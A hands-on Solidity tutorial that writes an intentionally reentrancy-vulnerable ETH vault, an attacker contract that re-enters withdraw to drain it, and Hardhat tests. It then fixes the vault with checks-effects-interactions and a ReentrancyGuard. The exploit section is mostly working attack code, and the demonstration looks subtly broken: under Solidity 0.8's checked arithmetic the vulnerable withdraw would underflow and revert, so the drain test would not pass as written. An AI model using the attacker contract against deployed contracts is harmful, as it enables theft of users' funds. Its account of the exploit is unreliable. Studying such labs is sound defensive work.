Break a vault with reentrancy,
then fix it the right way.

The core pattern is always the same: contract sends value to attacker before updating state. If attacker can execute code during that send, they can call back into the victim while their balance is still “old”.

Create contracts/EtherVault.sol. This vault lets users deposit ETH and withdraw later. We'll intentionally place the external call before state update.

Copy// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract EtherVault {
    mapping(address => uint256) public balances;

    event Deposit(address indexed user, uint256 amount);
    event Withdraw(address indexed user, uint256 amount);

    function deposit() external payable {
        require(msg.value > 0, "zero deposit");
        balances[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "insufficient");

        // ❌ INTERACTION first (external call)
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok, "send failed");

        // ❌ EFFECTS last (state update too late)
        balances[msg.sender] -= amount;

        emit Withdraw(msg.sender, amount);
    }

    function vaultBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

Compile:

Copynpx hardhat compile

Create contracts/VaultAttacker.sol. It deposits some ETH, calls withdraw, and in fallback re-enters until vault is drained.

Copy// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./EtherVault.sol";

contract VaultAttacker {
    EtherVault public vault;
    address public owner;
    uint256 public reenterAmount;

    constructor(address vaultAddress) {
        vault = EtherVault(vaultAddress);
        owner = msg.sender;
    }

    // start attack by depositing & withdrawing once
    function attack() external payable {
        require(msg.sender == owner, "not owner");
        require(msg.value > 0, "no eth");

        reenterAmount = msg.value;

        vault.deposit{value: msg.value}();
        vault.withdraw(reenterAmount);
    }

    // fallback runs when vault sends ETH
    receive() external payable {
        uint256 vaultBal = address(vault).balance;

        if (vaultBal >= reenterAmount) {
            vault.withdraw(reenterAmount);
        }
    }

    function sweep() external {
        require(msg.sender == owner, "not owner");
        (bool ok,) = owner.call{value: address(this).balance}("");
        require(ok, "sweep failed");
    }

    function attackerBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

Create test/reentrancy.ts. We’ll set up: two honest users deposit, attacker drains all.

Copyimport { expect } from "chai";
import { ethers } from "hardhat";

describe("Reentrancy exploit walkthrough", function () {
  async function deployFixture() {
    const [deployer, alice, bob, attackerEOA] = await ethers.getSigners();

    const Vault = await ethers.getContractFactory("EtherVault", deployer);
    const vault = await Vault.deploy();
    await vault.waitForDeployment();

    const Attacker = await ethers.getContractFactory("VaultAttacker", attackerEOA);
    const attacker = await Attacker.deploy(await vault.getAddress());
    await attacker.waitForDeployment();

    return { vault, attacker, deployer, alice, bob, attackerEOA };
  }

  it("drains the vault due to reentrancy", async function () {
    const { vault, attacker, alice, bob, attackerEOA } = await deployFixture();

    // Honest deposits
    await vault.connect(alice).deposit({ value: ethers.parseEther("5") });
    await vault.connect(bob).deposit({ value: ethers.parseEther("5") });

    const startVaultBalance = await vault.vaultBalance();
    expect(startVaultBalance).to.equal(ethers.parseEther("10"));

    // Attacker starts with 1 ETH
    await attacker.connect(attackerEOA).attack({ value: ethers.parseEther("1") });

    const endVaultBalance = await vault.vaultBalance();
    const attackerBal = await attacker.attackerBalance();

    // Vault should be empty
    expect(endVaultBalance).to.equal(0n);

    // Attacker stole 10 ETH (honest users) + got back its own 1 ETH reentered repeatedly
    expect(attackerBal).to.be.greaterThan(ethers.parseEther("10"));
  });
});

Run tests:

Copynpx hardhat test

Let’s walk slooowly through a single withdraw:

1. Attacker calls vault.withdraw(1 ETH).
2. Vault checks balance OK.
3. Vault sends 1 ETH with call → control jumps to attacker’s receive().
4. Attacker sees vault still has ETH and calls withdraw() again.
5. Vault repeats step 2-4 because it still thinks attacker’s balance is unchanged.
6. Only after recursion ends, original calls resume and update balances, but it’s too late.

The simplest correct fix is to update state before any external call. Edit withdraw accordingly:

Copyfunction withdraw(uint256 amount) external {
    require(balances[msg.sender] >= amount, "insufficient");

    // ✅ EFFECTS first
    balances[msg.sender] -= amount;

    // ✅ INTERACTION last
    (bool ok,) = msg.sender.call{value: amount}("");
    require(ok, "send failed");

    emit Withdraw(msg.sender, amount);
}

Now attacker re-entry fails because their stored balance is already reduced.

Modify your test to expect revert or non-drain after CEI fix:

Copyit("no longer drains after CEI fix", async function () {
  const { vault, attacker, alice, bob, attackerEOA } = await deployFixture();

  await vault.connect(alice).deposit({ value: ethers.parseEther("5") });
  await vault.connect(bob).deposit({ value: ethers.parseEther("5") });

  await expect(
    attacker.connect(attackerEOA).attack({ value: ethers.parseEther("1") })
  ).to.be.reverted; // reentrant withdraw breaks

  expect(await vault.vaultBalance()).to.equal(ethers.parseEther("10"));
});

Run tests again.

CEI fixes the root bug. But in complex contracts, developers still add a guard as a backstop.

Install OpenZeppelin if not installed:

Copynpm install @openzeppelin/contracts

Then update vault:

Copy// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract EtherVault is ReentrancyGuard {
    mapping(address => uint256) public balances;

    event Deposit(address indexed user, uint256 amount);
    event Withdraw(address indexed user, uint256 amount);

    function deposit() external payable {
        require(msg.value > 0, "zero deposit");
        balances[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external nonReentrant {
        require(balances[msg.sender] >= amount, "insufficient");

        balances[msg.sender] -= amount;

        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok, "send failed");

        emit Withdraw(msg.sender, amount);
    }

    function vaultBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

CEI protects a single function’s ordering. But reentrancy can sneak through:

• Cross-function reentrancy — attacker re-enters via another public function.
• External hooks (ERC-777, ERC-1155 receiver callbacks).
• Proxy / upgrade patterns where logic is distributed.
• State shared across modules (libraries, facets).

1. Pull over push

Instead of pushing ETH immediately, record credits and let users withdraw later. (We already do that.) Never “auto-send” ETH inside loops.

2. Limit reentrancy surface

• Mark sensitive functions nonReentrant.
• Make internal helpers private if not needed outside.
• Split logic: one function changes state, another performs interaction.

3. Use custom errors

Copyerror InsufficientBalance();
error SendFailed();

function withdraw(uint256 amount) external nonReentrant {
  if (balances[msg.sender] < amount) revert InsufficientBalance();
  balances[msg.sender] -= amount;
  (bool ok,) = msg.sender.call{value: amount}("");
  if (!ok) revert SendFailed();
}

4. Consider pause switches

If you detect an exploit live, having Pausable can save funds.

• Any external call (call / transfer / send / ERC hooks) before state update?
• Any withdraw-like function missing CEI ordering?
• Multiple external calls in one function? Verify order carefully.
• Public functions sharing state across modules? Consider cross-function reentrancy.
• Loops that send ETH/tokens to many users? Prefer pull pattern.
• Add nonReentrant to critical flows.